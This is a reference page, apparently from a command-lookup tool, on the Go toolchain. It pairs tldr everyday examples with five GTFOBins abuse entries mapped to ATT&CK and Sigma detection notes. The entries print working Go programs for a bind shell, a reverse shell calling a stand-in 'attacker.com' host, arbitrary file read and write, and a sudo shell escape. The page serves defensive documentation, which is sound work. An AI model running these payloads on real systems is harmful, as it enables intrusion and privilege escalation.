Identifier / Programs / Linux and Unix

go

Manage Go source code. Some subcommands such as build have their own usage documentation. tldr-pages

GTFOBins bind-shell, file-read, file-write, reverse-shell, shell 1 ATT&CK technique 5 documented commands

How go is abused

documented by GTFOBins

bind-shell T1059.004 Command and Scripting Interpreter: Unix Shell

run

file-read

run

file-write

run

reverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell

run

shell T1059.004 Command and Scripting Interpreter: Unix Shell

run

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for go.

5 documented commands

from GTFOBins, each read by the identifier

bind-shell unprivileged, with sudo

echo -e 'package main\nimport (\n\t"os"\n\t"syscall"\n)\n\nfunc main(){\n\tfd, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\n\taddr := &syscall.SockaddrInet4{Port: 12345}\n\tcopy(addr.Addr[:], []byte{0,0,0,0})\n\tsyscall.Bind(fd, addr)\n\tsyscall.Listen(fd, 1)\n\tnfd, _, _ := syscall.Accept(fd)\n\tsyscall.Dup2(nfd, 0)\n\tsyscall.Dup2(nfd, 1)\n\tsyscall.Dup2(nfd, 2)\n\tsyscall.Exec("/bin/sh", []string{"/bin/sh", "-i"}, os.Environ())\n}' >/path/to/temp-file.go
go run /path/to/temp-file.go

Identify

file-read unprivileged, with sudo

echo -e 'package main\nimport (\n\t"fmt"\n\t"os"\n)\n\nfunc main(){\n\tb, _ := os.ReadFile("/path/to/input-file")\n\tfmt.Print(string(b))\n}' >/path/to/temp-file.go
go run /path/to/temp-file.go

Identify

file-write unprivileged, with sudo

echo -e 'package main\nimport "os"\nfunc main(){\n\tf, _ := os.OpenFile("/path/to/output-file", os.O_RDWR|os.O_CREATE, 0644)\n\tf.Write([]byte("DATA\\n"))\n\tf.Close()\n}' >/path/to/temp-file.go
go run /path/to/temp-file.go

Identify

reverse-shell unprivileged, with sudo

echo -e 'package main\nimport (\n\t"os"\n\t"net"\n\t"syscall"\n)\n\nfunc main(){\n\tfd, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\n\tip := net.ParseIP("attacker.com").To4()\n\taddr := &syscall.SockaddrInet4{Port: 12345}\n\tcopy(addr.Addr[:], ip)\n\tsyscall.Connect(fd, addr)\n\tsyscall.Dup2(fd, 0)\n\tsyscall.Dup2(fd, 1)\n\tsyscall.Dup2(fd, 2)\n\tsyscall.Exec("/bin/sh", []string{"/bin/sh", "-i"}, os.Environ())\n}' >/path/to/temp-file.go
go run /path/to/temp-file.go

Identify

shell unprivileged, with sudo

echo -e 'package main\nimport "syscall"\nfunc main(){\n\tsyscall.Exec("/bin/sh", []string{"/bin/sh", "-i"}, []string{})\n}' >/path/to/temp-file.go
go run /path/to/temp-file.go

Identify

None of the 5 commands the identifier reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for go. The identifier reads the line of each that runs go.

What detects it

Sigma process creation rules

T1059.004Command and Scripting Interpreter: Unix Shell

Everyday use

from tldr-pages, CC BY 4.0

Download and install a package, specified by its import path

go get path/to/packageIdentify

Compile and run a source file (it has to contain a main package)

go run file.goIdentify

Compile a source file into a named executable

go build -o executable file.goIdentify

None of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.

go

How go is abused

5 documented commands

What detects it

Everyday use

Other programs abused for bind-shell